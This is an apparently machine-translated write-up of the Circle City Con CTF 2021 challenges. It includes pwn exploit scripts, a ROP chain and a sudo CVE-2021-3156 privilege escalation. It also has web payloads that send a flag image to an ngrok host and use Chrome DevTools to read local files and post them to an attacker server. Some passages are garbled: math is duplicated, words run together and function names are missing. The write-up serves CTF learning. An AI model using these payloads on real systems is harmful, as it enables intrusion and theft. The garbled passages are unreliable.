Circle City Con CTF 2021 WriteUps

發表於
分類於 CTF

This article is automatically translated by LLM, so the translation may be inaccurate or incomplete. If you find any mistake, please let me know.
You can find the original article here .

I participated in this CTF before the final exams. The overall difficulty was relatively low, but there were also challenging and interesting problems. In the end, I surprisingly got fourth place.

Final Ranking

CRYPTO

[Baby] RSA

e=3e=3, and then it can be found that cc is a perfect square, so just take the cube root directly.

from Crypto.Util.number import long_to_bytes
from gmpy2 import iroot

n = 21240130069302595435883573568292543584653982426668643904196630885984119007899960150162877143271928662185885422702123670222165981446412189843665571992895649937195036232374014356896167929469467494531756153911013832353810970941919101050971790197002016280790620714887304192321101311465703150098410331176735899796484284165771555960758054286754565310439163189954842301676099617954811528874343372426916478057819577132937062857039063351856289801979923260408285890418889829381378968646646737194160697920287161229178345666260994127087040393511692642122516019055570881253021165130706539874713965212158253699181636631222365809257
c = 80505397907128518326368510654343095894448384569115420624567650731853204381479599216226376345254941090872832963619259274943986478887206647256170253591735005504

print(long_to_bytes(iroot(c, 3)[0]))

[Baby] CRT RSA

Again, e=3e=3, but this time three different nn were used for encryption. This is Håstad's broadcast attack.

First, we have:

c1me(modn1)c2me(modn2)c3me(modn3)\begin{gather*} c_1\equiv m^e\pmod{n_1} \\ c_2\equiv m^e\pmod{n_2} \\ c_3\equiv m^e\pmod{n_3} \end{gather*}

We can use the Chinese Remainder Theorem to calculate xme(modn1n2n3)x\equiv m^e\pmod{n_1n_2n_3}. Since i[1,3]m<ni\forall i\in[1,3]\,m<n_i, we know m3<n1n2n3m^3<n_1n_2n_3, so the calculated xx is a perfect cube. Taking the cube root directly gives the flag.

from Crypto.Util.number import *
from gmpy2 import iroot

e = 3
n_1 = 18313667803478867336609004721464541537328973484305462826796382793855753159667702339443214415676107219128019719918729781240367765840170011546130583192904778311406642412055832301895834234050092458894891378245659415453668079516268277621821820816314253525389030994411875738859521385775378994318680298110895022910442167872459649446752807884859578440573460451717182770603357201261838877834565082113563029377616922987738400092690457439097525425733191455006127272117318175252557137776704423298751249687687982939242399995960217891670545776591917279437324424655966555374035972380565105603454122721599641307596329237684195317587
n_2 = 20194467459457647060586516996478370472351267218473917410062391619804366508155615598555934151439965040658239840971767337317396956926547783621869694734101324546348705982578129843495046800965472146299498824698092002656707267929600194580016819675385334043852783023251749457877096316831425135876783876607713235344100191162140401175616183217075255611260047339942560958156070307547443884997807476833178558920808584815204100121025788968550385803770908539890673979000205479656826535064665232908045866184941964720268186377486138453445647534884078844954199823059749774156922214595091852691529313493766002778666818883664405832403
n_3 = 28410407035821399633105602414308666083186296658943720122869492873011020714858272525924383333651592284428901214906611872460164447581815587883155804582069085992375163808745662275133491411336915996399762543519217523867565162464721135784726071214566835068379436095952306868321574023543552212709114558637219985795158790999008762464781584235742497782435874814916996914994622843458737648796476512273155699038887480170809464170867427859436811167822162365878701943537205202829629515767060354955288883378511576712085561459099352295975180411538002583505384685029771639657760193592641463091670959570110199839193007853012047792951
ct_1 = 4361068625491121585959284487341364298014917091167459186815285529598354735142456720602466259897053502006543584155650414108053083187715487460414552189153473176328972836654051104002438654670972840351138096724369732822616030793769716381154959736278166838792024300286881567007214354013293287163863182681969888796359513260199887574592768851482378233523702226160031879160962727499277063367162956148498154268271025542127905089334411348063974019724471911095717624141476012283069088544181538863919281957631181754200250370777952217187591480953121517810770662230820689692425877920149973485291740351240601042031554568416165653801
ct_2 = 7454119914503246454695225608366998910502362663575277057804461920278767763248677179908320434252341988720062910948247234833145541538721789767567216822524509307779250204983551429213791107932957166581434644890426988090302661172536864772938094552788386232242044947782405157429008368192073663951594129377676752306905041733416517122507652313240587554617250337508737466749142455332827859556080609592971327915921976414897414103328089640910405224692254001370474817181338600658683188149268215440111576616804026782469078580075278163035385301354208954742090806396419312598674668782737577467445931682124259183904307994197406247889
ct_3 = 475431757150415548038120878675026605258081422958849322189947529651864550511016854432752841608067858620795144603286556404827027829790131339932716728168413658428417455936312330389421287814427992302961543375036809563812960151703062899930161470602633031599828887098914730417799654684023064362771853376591221374617439483919394574339804160488928252982891682671342232959007865677713493662084854838321612782206385687329676060126776093320146302404930844788632687207893577657763961310494363939265885733023621969573701702862867184316968075660702024069750913111874157011920933780381567012981148057478008081618456449117864142394

x = crt([ct_1, ct_2, ct_3], [n_1, n_2, n_3])
print(long_to_bytes(iroot(x, 3)[0]))

[Baby] Meadows

In this problem, the flag characters are multiplied by gg raised to a random power under Zp\mathbb{Z}_p^*, but since the seed is fixed, we can reverse the process.

data = [] # from out.txt
g, p = data[0]
ar = data[1:]

import random

random.seed(0x1337)

flag = []
for x in ar:
	flag.append((x * pow(g, -random.randrange(2, p - 1), p)) % p)
print(bytes(flag))

No Stone Left Unturned

This problem utilizes the classic Fermat factorization. Based on the prime number generation part, we can see 11q7p11q\approx7p.

Next, list the equation a2b2=(11q+7p2)2(11q7p2)2=77na^2-b^2=(\frac{11q+7p}{2})^2-(\frac{11q-7p}{2})^2=77n. Since 11q7p11q\approx7p, we know a77na\approx\sqrt{77n}, so we can directly brute force aa and check if b2b^2 is a perfect square to factorize it.

import gmpy2
from Crypto.Util.number import *


def fermat(x, mx=1000):
    a = gmpy2.isqrt(x)
    b2 = a * a - x
    cnt = 0
    while not gmpy2.is_square(b2):
        a += 1
        cnt += 1
        if cnt == mx:
            return
        b2 = a * a - x
    b = gmpy2.isqrt(b2)
    return a, b


n = 0xA2E8BA2E8BA2E8BA2E8BA2E8BA2E8BA2E8BA2E8BA2E8BA2E8BA2E8BA2E8BA2E8BA2E8BA2E8BA2E8BA2E8BA2E8BA2E8BA2E8BA2E8BA93F56D1E890D1827D8AE8D40172A2DFAFAA73523DD318C608BD4169D702442E6D153AE0637766F635255F4C1EE6BC694589B2708AE9061FB84F9DB9DA7199996C519635DECFB53B4CCFDE2BF9E89F70DE9172BD370BE887E8E1009B278774EE2449CE3EA3B76428506B4A98BEDA6E3C9AABBF1164E088F27554282D7909EF2AE61FB5316E705E3EA72CBA9DF06AF06E54C3EE898DAB8ED245E26290F59FEEEC9F58E61C4A2051086234FE48B42399A74452B87829DA28F3E88A5A4B01B72D045B296297A3DA34B9A5C20CB
e = 0x10001
c = 0x2D1F77201435E00D3355246CC4DE54B3C98A801F688500FF1E824D985F225F95415019188AF01C39C80393E648E5E51BAB80E1ABFDA82A74490FE58EF82AFDE4BED2999B10AC71F241F20564F5D2461CD57B50033C0FE64319B246AD241846B2AB37328F83D0A77FE5C3564CEC18DBC577FDACAD417925D208735D8B916779F567EF863DBA594D9D035C99E6210DB9397797C10E900A1D4A3BCE2F87502C23F2E909808C10AC675AFFB41B3E0769360C959289338CE2877813C723524718D84A75B2209BA4F3560FCBC82DA69D6B2F86C32970B325EC034A060FC62F6B3A97AE01CDFC8AEB35DF03D92AF88A7B60831254095FB66CE73B2C5941440721899DC1


a, b = fermat(n * 11 * 7, mx=1000000)
assert a ** 2 - b ** 2 == 11 * 7 * n
print((a + b) % 7)
q = (a + b) // 7
p = n // q
assert p * q == n
d = pow(e, -1, (p - 1) * (q - 1))
m = pow(c, d, n)
print(long_to_bytes(m))

Poison Prime

In this problem, you are given the task of deciding a prime number pp for Diffie-Hellman exchange, but it requires you to input a sufficiently large qq that divides p1p-1 to ensure it is not smooth. Additionally, it does not provide a public key, making it impossible to calculate the discrete log. It uses the shared secret as the AES key for encryption, and you need to decrypt the plaintext and return it to get the flag, with part of the plaintext being known.

Since it does not provide a public key, I directly represent the shared secret as gxg^x and see if there is a way to find an appropriate prime pp that restricts gg to a very small subgroup for brute force, meaning its order nn is very small.

In this problem, g=8=23g=8=2^3, so we can use this equation 2n1(modp)2^n\equiv 1\pmod{p}, implying p(2n1)p|(2^n-1). Assuming p=2n1p=2^n-1, we find this is a familiar form called Mersenne prime, so we can look up the appropriate size of pp in the table.

For example, I used p=26071p=2^{607}-1, meaning the order of 22 is 607607, and naturally, the order of g=23g=2^3 is also 607607. As for qq, use factordb to check if the largest prime factor of p1p-1 is large enough, and you can find qq.

from pwn import *
from Crypto.Util.number import long_to_bytes
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from hashlib import sha1


p = 2 ** 607 - 1
q = (4 ** 101 + 2 ** 101 + 1) // 4249
assert (p - 1) % q == 0

keys = []
for i in range(607):
    keys.append(sha1(long_to_bytes(pow(8, i, p))).digest()[:16])

# io = process(["python", "server.py"])
io = remote("35.224.135.84", 4000)
io.sendlineafter(b"Please help them choose p: ", str(p))
io.sendlineafter(
    b"To prove your p isn't backdoored, give me a large prime factor of (p - 1):",
    str(q),
)
io.recvuntil(b"encrypted message: ")
ct = bytes.fromhex(io.recvlineS().strip())
for key in keys:
    pt = AES.new(key, AES.MODE_ECB).decrypt(ct)
    if pt.startswith(b"My favorite food is "):
        io.sendlineafter(b"Decrypt it and I'll give you the flag: ", unpad(pt, 16))
        break
print(io.recvallS())

MISC

nana 1.0

Directly use strings + grep on core.3685280 to get the flag.

angrbox

The goal of this problem is to provide a C program for it to compile, and the program needs to perform key checking using four characters from argv[1]. The opponent will use a script with angr to try to crack the key. If it can withstand two minutes without being cracked, you get the flag.

My method was to find a pre-written brainfuck interpreter and modify it to significantly increase the complexity of angr's symbolic execution.

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

#define MEMORYCELLS 1000
#define CODESIZE 1000

struct Machine
{
    char memory[MEMORYCELLS];
    char *pointer;
};

void initializeMachine(struct Machine *a)
{
    int i;
    a->pointer = &(a->memory[0]);
    for (i = 0; i < MEMORYCELLS; i++)
        a->memory[i] = 0;
}

char translate(char in)
{
    switch (in)
    {
    case '>':
        return 1;
    case '<':
        return 2;
    case '+':
        return 3;
    case '-':
        return 4;
    case '.':
        return 5;
    case ',':
        return 6;
    case '[':
        return 7;
    case ']':
        return 8;
    }
    return in;
}

void execute(struct Machine *a, char *code, char *input)
{
    long i = 0;
    while (1)
    {
        switch (translate(*code))
        {
        case 0:
            return;
            break;
        case 1:
            a->pointer++;
            break;
        case 2:
            a->pointer--;
            break;
        case 3:
            (*(a->pointer))++;
            break;
        case 4:
            (*(a->pointer))--;
            break;
        case 5:
            // putchar(*(a->pointer));
            break;
        case 6:
            *(a->pointer) = input[i++];
            break;
        case 7:
        {
            if (*(a->pointer) == 0)
                while (*code != ']')
                    code++;
        }
        break;
        case 8:
        {
            if (*(a->pointer) != 0)
                while (*code != '[')
                    code--;
        }
        break;
        }
        code++;
        for (int j = 0; j < 1000000; j++)
        {
            if (i >= 4)
            {
                i *= (long)code;
            }
        }
    }
}

int main(int argc, char **argv)
{
    struct Machine a;
    char codeinmemory[CODESIZE];
    char code[] = ",>,>,>,<<<----------------------------------------------------------------->------------------------------------------------------------------>------------------------------------------------------------------->--------------------------------------------------------------------";
    initializeMachine(&a);
    execute(&a, code, argv[1]);
    for (int i = 0; i < 4; i++)
    {
        if (a.memory[i] != 0)
        {
            return 1;
        }
    }
    return 0;
}

Double

This problem provides a memory dump dump.mem and an Ubuntu_5.4.0-62-generic_profile.zip. After Googling the latter, you can find this article: getdents.

From it, we know that dump.mem is a memory dump from VMWare, which can be analyzed using a tool called volatility.

First, find the bash history:

> volatility --plugins=. -f dump.mem --profile=LinuxUbuntu_5_4_0-62-generic_profilex64 linux_bash
Volatility Foundation Volatility Framework 2.6
Pid      Name                 Command Time                   Command
-------- -------------------- ------------------------------ -------
    1250 bash                 2021-04-13 06:13:11 UTC+0000   sudo apt-get install virtualbox-guest-x11 curlthon3 python3-pip
    1250 bash                 2021-04-13 06:13:11 UTC+0000   vi .Xmodmap
    1250 bash                 2021-04-13 06:13:11 UTC+0000   xmodmap .Xmodmap
    1250 bash                 2021-04-13 06:13:15 UTC+0000   sudo curl https://get.docker.com/ | bash
    1250 bash                 2021-04-13 06:14:50 UTC+0000   sudo -s
    1250 bash                 2021-04-13 06:14:50 UTC+0000   ????????
    1250 bash                 2021-04-13 06:14:50 UTC+0000
   11561 bash                 2021-04-13 06:15:01 UTC+0000   docker run -it alpine:3.7 /bin/sh

From here, we know that it ran something in an alpine container shell. Next, try to find docker-related files:

> volatility --plugins=. -f dump.mem --profile=LinuxUbuntu_5_4_0-62-generic_profilex64 linux_enumerate_files | grep docker
Volatility Foundation Volatility Framework 2.6
...
0xffffa0f6fadd78c8                    289058 /var/lib/docker/overlay2/0302e6c324b486a627e0243c020d8a7d5edd1eab9f186af5d0f6a83b5b82c989/diff/secret.txt
...

We can see that there is a secret.txt file. I tried using linux_find_file to export the file, but it failed for some reason. At this point, I tried another method using strings + grep:

> strings dump.mem | grep secret.txt -C 5
...
secret.txt
C C C { d0 c
 0 c k 3 r _ in
 n _ a _ V M }
...

Carefully examining the output, we can see messages that look like the flag. Some characters are repeated, so I used Python to extract it:

with open("dump.mem", "rb") as f:
    dump = f.read()
i = dump.index(b"C C C")
print(dump[i : i + 40])

Discord Bot Dev 1

First, using the hint provided, I searched for the author's real name and found a discord bot repository. By searching "Nathan Peercy" site:github.com on Google, I found a page showing a GitHub Organization. From the repo's commit history, I found the author's GitHub account, which had the bot's repo: nbanmp/ccc-discord-bot-dev. The Discord server link can be found in the commit history: https://discord.gg/UPvvXtX8Z6.

From the source code, we know that flag1 appears every 15 minutes in the flag-deletion-test channel, but there is an on_message function that automatically detects and deletes the flag format. My approach was to use Discord's Console to input some JavaScript to automatically save the latest messages in that channel, allowing me to see flag1. Another method I later discovered was using the Discord Android app's notifications. Although the time between sending and deleting the flag is short, the app's notifications temporarily store it, so you can capture a screenshot.

Discord Bot Dev 2

For flag2, you need to trigger a handle_debug function, which requires an admin on the server to send a message like sudo debug aaaaaaaa. The bot will then XOR aaaaaaaa with flag2 and return the result to the channel.

You can use the remindme feature, which can only be triggered via direct message. The format is remind time [message] [channel_id], with the parts in brackets being optional. This will make the bot send message to channel_id at the specified time. Testing shows that it can indeed set channel_id to a channel ID on the server, but there is a check that replaces the message with someone attempted to send a reminder here if the channel belongs to the original server (852786013934714890).

The key is to create a new Discord server, then generate an OAuth2 URL (with appropriate permissions) following Discord's official developer tutorial, and replace the client_id part with the bot's ID:

https://discord.com/oauth2/authorize?scope=bot&permissions=388160&client_id=852787071298830336

After visiting that URL, you can invite the bot to your server. Then, send the appropriate remindme command to the bot via DM, and it will send sudo debug aaaa... to the specified channel at the specified time. Since the sender is the bot, it will pass the permission check and trigger handle_debug, then send the XORed flag2 to the same channel.

Example command:

remindme 2021/06/13 12:05 UTC+8 sudo debug aaaaaaaaaaaaaaaaaaaaaaaaa 123456789123456789

PS: Note the number of characters after sudo debug aaaa.... From the code, we know that if the length exceeds the flag's length, there will be an error, and you won't get the flag. So, you need to brute force the flag length one by one.

OSINT

[Baby] Building Locator

Due to unclear instructions, the problem setter directly gave the flag in the Discord announcement. It was the official website of Taipei 101.

Happy Little Osint

I used this website to find the corresponding account @happy_lil_con. From the followers, I found @con_angry, and the flag was in the bio.

PWN

[Baby] Fawn CDN

In this problem, you just need to make it call the win function. Simply use overflow to overwrite the function pointer in the struct and then call it to succeed.

from pwn import *

# p = process("./fawncdn")
p = remote("35.224.135.84", 1001)

p.sendlineafter(b"cmd> ", "1")
p.recvuntil(b"content at ")
addr = int(p.recvuntilS(b'"')[:-1], 16)
print(hex(addr))
p.sendlineafter(b"cmd> ", b"a" * 16 + p64(addr))
p.recvuntil(b"cmd> ")
p.sendline("3")
p.recvuntil(b"cmd>")
img = p.recvuntil(b"\n1.")[1:-3]
print(img)
with open("flag.jfif", "wb") as f:
    f.write(img)

Weird Rop

This program is very small and does not have an RWX section to write shellcode. The vuln function opens /flag.txt, writes two bytes, and then reads beyond the buffer, causing a buffer overflow.

Using ROPgadget, we find that there is no gadget to arbitrarily change rax, only mov rax, 1; ret and mov rax, 0; ret, so the syscall can only use read and write. For rdi, there is no pop rdi; ret gadget, but there are many xor rdi, SOME_CONSTANT gadgets. The remaining parts have pop rsi; ret and pop rdx; ret gadgets.

My approach was to use read to read the file descriptor opened by the vuln function and then write it out. However, the difficulty is that the fd value is rdi, and the xor part does not have a small enough value to use directly. One approach might be to use multiple xors to get the required fd, but my method was to let it return to the beginning of the vuln function and open it again. Repeating this dozens of times, based on the increasing nature of the fd, we can find the smallest xor to use.

The ROP chain is easier to understand by looking at the code:

from pwn import *

context.arch = "amd64"

# io = process("./weird_rop")
io = remote("35.224.135.84", 1000)

vuln = 0x4010E0
for _ in range(30):
    io.recv(2)
    io.sendline(b"a" * 24 + p64(vuln))
buf = 0x402500
syscall_add_rsp_0x10 = 0x401145
xor_rdi_29 = 0x401089
pop_rsi = 0x401000
pop_rdx = 0x4010DE
mov_rax_0 = 0x401002
mov_rax_1 = 0x40100A
mov_rdi_1 = 0x401012
# rdi = 0 initially
read_chain = flat(
    [
        xor_rdi_29,
        pop_rsi,
        buf,
        pop_rdx,
        100,
        mov_rax_0,
        syscall_add_rsp_0x10,
        0,
        0,
        0,
        vuln,
    ]
)
io.recv(2)
io.sendline(b"a" * 24 + read_chain)
write_chain = flat(
    [
        mov_rdi_1,
        pop_rsi,
        buf,
        pop_rdx,
        100,
        mov_rax_1,
        syscall_add_rsp_0x10,
    ]
)
io.recv(2)
io.sendline(b"a" * 24 + write_chain)
print(io.recvlineS().strip())

Lord Saturday

This problem gives you a normal user shell, which you can access via ssh. It has sudo version 1.8.31 installed, and the goal is to gain root privileges.

Checking the sudo version, we find that it has CVE-2021-3156. We can find this POC to use, but directly compiling and running it in the container does not work. Looking at the Dockerfile, we see that sudoedit has been removed, but from the article, we know that it exploits a bug in sudoedit.

Upon closer inspection, we find that sudoedit is just a symlink to sudo, and it determines whether it is running as sudo or sudoedit based on argv[0]. This can be easily bypassed using execve, so we modify the POC's exploit.c to change the execve part from /usr/bin/sudoedit to /usr/bin/sudo, then compile it again to succeed.

For file transfer, scp did not work for some reason, so I manually used base64 to transfer the binary and executed it to gain root.

worm / worm 2

This problem recursively creates a bunch of directories forming a binary tree-like structure, with each level having different user accounts. Each non-leaf node directory has a ./key that can bypass password checks using buffer overflow and execute /bin/bash with setuid and setgid to switch permissions. The flag is placed in one of the leaf nodes. After connecting and solving the PoW with hashcash, it opens a new container, and you can input shell commands within 512 characters to be executed by /bin/sh.

worm was a mistake by the problem setter, allowing stdin, so you could directly input bash to enter interactive mode and solve it. worm 2 closed stdin, requiring you to solve it in a single shell command.

The method is simple, just use dfs to search, but the tricky part is piping the recursive commands to ./key.

An uncompressed version looks like this:

export P=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaap4ssw0rd
cd /room0
gen() { 
    [[ -f ./key ]] && (echo $P && echo "$(declare -f gen);for x in \$(ls|grep ^r);do (cd \$x && (cat flag.txt 2>/dev/null || gen)) done") | ./key; 
}
gen | grep CCC

Then compress it into one line:

export P=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaap4ssw0rd;cd /room0;gen() { [[ -f ./key ]] && (echo $P && echo "$(declare -f gen);for x in \$(ls|grep ^r);do (cd \$x && (cat flag.txt 2>/dev/null || gen)) done") | ./key; };gen|grep CCC

Since it needs to be executed in /bin/sh, use base64 for escaping and pipe it to bash:

echo ZXhwb3J0IFA9YWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFwNHNzdzByZDtjZCAvcm9vbTA7Z2VuKCkgeyBbWyAtZiAuL2tleSBdXSAmJiAoZWNobyAkUCAmJiBlY2hvICIkKGRlY2xhcmUgLWYgZ2VuKTtmb3IgeCBpbiBcJChsc3xncmVwIF5yKTtkbyAoY2QgXCR4ICYmIChjYXQgZmxhZy50eHQgMj4vZGV2L251bGwgfHwgZ2VuKSkgZG9uZSIpIHwgLi9rZXk7IH07Z2VufGdyZXAgQ0ND | base64 -d | bash

REV

[Baby] Artform

Opening it in IDA reveals the flag.

[Baby] Guardian

Input the flag, and it shows the correct prefix count, so write a script to brute force it:

import string
from pwn import remote, context

context.log_level = "error"


def guess(pwd):
    r = remote("35.224.135.84", 2000)
    r.recvuntil(b"password?\n> ")
    r.sendline(pwd)
    x = r.recvuntil(b"guardian").decode()
    ans = x.count("✅")
    r.close()
    return ans


chs = "_!?" + string.digits + string.ascii_lowercase
flag = "CCC{"

while True:
    for c in chs:
        if guess(flag + c) > len(flag):
            flag = flag + c
            break
    else:
        print(flag + "}")
        break
    print(flag)

Lonk

Directly running flag.py reveals part of the flag, but it runs too slowly to show the remaining characters. Reading lib.py, we see it uses a linked list to represent numbers and perform operations. After understanding it, patch it to use normal numbers for calculations:

patched_lib.py:

def(a):
    # setup a
    return a


def(a):
    # count a
    return a


def(a):
    # copy a
    return a


def(a, b):
    # a + b
    return a + b


def(a, b):
    # a - b
    return a - b


def(a, b):
    # a * b
    return a * b


def(a, b):
    # a % b
    return a % b


def(a, b):
    # a ** b
    return a ** b


def(a, b, m):
    # a ** b % m
    return pow(a, b, m)


def(n):
    print(chr(常(n)), end="", flush=True)

Then modify the import in flag.py to print the flag.

Little Mountain

Opening it in IDA, we see a function table. In gdb, we find four functions a, b, c, d, but the menu only shows three. Using IDA, we see that function d's flag is simply an XOR result. Export the necessary data and XOR it to get the flag.

Another method is to set a breakpoint on function d in gdb, input a non-existent third option in the menu to enter d, and then ni until a jne instruction, then input j *(d+78) to bypass the comparison and get the flag.

WEB

Casino

There is a Discord bot, and you need to get over 1000togettheflag.Fromthesourcecode,itisclearthatitisimpossibletogetover1000 to get the flag. From the source code, it is clear that it is impossible to get over 1000 through regular means, but there is a special $badge command that uses puppeteer to visit a website and generate a badge.

The $badge command supports adding custom CSS, and there is an endpoint to set the money amount using GET, but it is restricted to internal access only.

So, I inserted CSS using url() to make the bot send a request to the internal endpoint, setting the money amount:

$badge body{background:url("/set_balance?user=maple3142%238585&balance=8763");}

imgfiltrate

This problem has a simple XSS vulnerability. Although there is CSP, the nonce is provided, so it is not an issue. The difficulty is that the flag is an image, and the CSP restricts using fetch to get the image and base64 encode it.

The solution is simple: use an existing img element. Since canvas supports drawing images directly, then use canvas to get the base64. There are many examples of this online.

Payload:

http://35.224.135.84:3200/?name=%3Cscript%20nonce=70861e83ad7f1863b3020799df93e450%3Efunction%20getBase64Image(e){var%20a=document.createElement(%22canvas%22);return%20a.width=e.width,a.height=e.height,a.getContext(%222d%22).drawImage(e,0,0),a.toDataURL(%22image/png%22).replace(/^data:image\/(png|jpg);base64,/,%22%22)};flag.onload=()=%3E{location=%27https://52dbd34bb4a0.ngrok.io?data=%27%2BencodeURIComponent(getBase64Image(flag))}%3C/script%3E

Due to the long URL (base64 image), https://webhook.site/ cannot be used.

Puppet

This problem has a Puppeteer bot for you to use. The startup options include --disable-web-security and --remote-debugging-port=5000, and the flag is in one of the unknown files in ~/Documents. The goal is to use the Chrome DevTools Protocol to attack Puppeteer.

The solution is similar to solving Watered Down Watermark as a Service. Directly read the file: protocol page content.

One tricky part is that each instance is new, so the flag filename changes. You need to list the directory contents and read the file in one go.

Place the following index.html on a server's root directory, then submit the server's public URL:

<pre id="log"></pre>
<script>
	const base = location.href.split('?')[0]
	const u = new URLSearchParams(location.search)
	function log(tag, msg) {
		const ct = `${tag}: ${msg}\n`
		log.textContent += ct
		fetch(`${base}report.php`, { method: 'POST', body: ct })
	}
	const filepath = u.get('path') || '/home/inmate/Documents/'
	fetch(`http://localhost:5000/json/new?file://${filepath}`)
		.then(r => r.json())
		.then(d => {
			const j = JSON.stringify(d, null, 2)
			log('json', j)
			const ws = new WebSocket(d.webSocketDebuggerUrl)
			ws.onmessage = e => {
				log('ws.onmessage', e.data)
			}
			ws.onopen = () => {
				setTimeout(() => {
					ws.send(
						JSON.stringify({
							id: 8763,
							method: 'Runtime.evaluate',
							params: {
								expression: `
                                    const m = document.documentElement.innerHTML.match(/flag_.*?txt/)
                                    if(m) {
                                        location.href = '${base}?path=' + encodeURIComponent('${filepath}' + m[0])
                                    }
                                    fetch('${base}report.php', { method:'POST', body: document.documentElement.innerHTML })
                                `
							}
						})
					)
				}, 5000)
			}
		})
</script>

If using ngrok, it conveniently displays request content. If not, use the following report.php to output the POST body:

<?php
error_log(file_get_contents('php://input'),  0);

Sticky Notes

This problem is quite challenging and requires core concepts similar to the PlaidCTF 2021 problem Carmen Sandiego.

The flag content clearly indicates that the idea for this problem comes from that problem.

The goal is also XSS. The website allows creating boards and adding up to nine text contents, which are provided in iframes with Content-Type: text/plain.

The web part has two servers: boards.py written in fastapi for the frontend and notes.py written in socket for providing iframe content.

boards.py has no exploitable vulnerabilities, only handling board creation and writing text to the database (file system).

The key to the problem lies in notes.py:

# ...
header_template = """HTTP/1.1 {status_code} OK\r
Date: {date}\r
Content-Length: {content_length}\r
Connection: keep-alive\r
Content-Type: text/plain; charset="utf-8"\r
\r
"""
# ...
def http_header(s: str, status_code: int):
    return header_template.format(
        status_code=status_code,
        date=formatdate(timeval=None, localtime=False, usegmt=True),
        content_length=len(s),
    ).encode()
# ...
def iter_chunks(xs, n=1448):
    """Yield successive n-sized chunks from xs"""
    for i in range(0, len(xs), n):
        yield xs[i : i + n]
# ...
class TcpHandler(StreamRequestHandler):
	# ...
    def send_file(self, filepath):
        if not filepath.is_file():
            self.send_404()
            return

        content = open(filepath, "rb").read()
        self.wfile.write(http_header(content.decode(), 200))

        for chunk in iter_chunks(content):
            self.wfile.write(chunk)
            time.sleep(0.1)
	# ...

Here, we see that the content in the send_file function is of type bytes, so its content_length is the length of the bytes converted to str (UTF-8). However, the actual length of the data sent is the number of bytes.

For example, the UTF-8 character À has a length of 1 in str but a length of 2 in bytes. This is the key to exploitation.

Another key is the Connection: keep-alive, which makes the browser try to put multiple HTTP requests in the same connection without opening a new socket. The solution becomes clear: use the length bug to forge a fake HTTP response for XSS.

For example, the string "HTTP/1.1 200 OK\r\nContent-Type: text/html\r\nContent-Length: 5\r\n\r\n5" has a length of 64. Prepending it with 64 À characters results in a total UTF-8 length of 128 but a byte length of 192. Since the server's Content-Length will be the UTF-8 length of 128, the first response body ends with 64 À characters, and the remaining data is HTTP/1.1 200 OK....

However, it is not that simple. The first difficulty is ensuring Chrome reuses the same socket. The second difficulty is that if Chrome receives extra data before sending the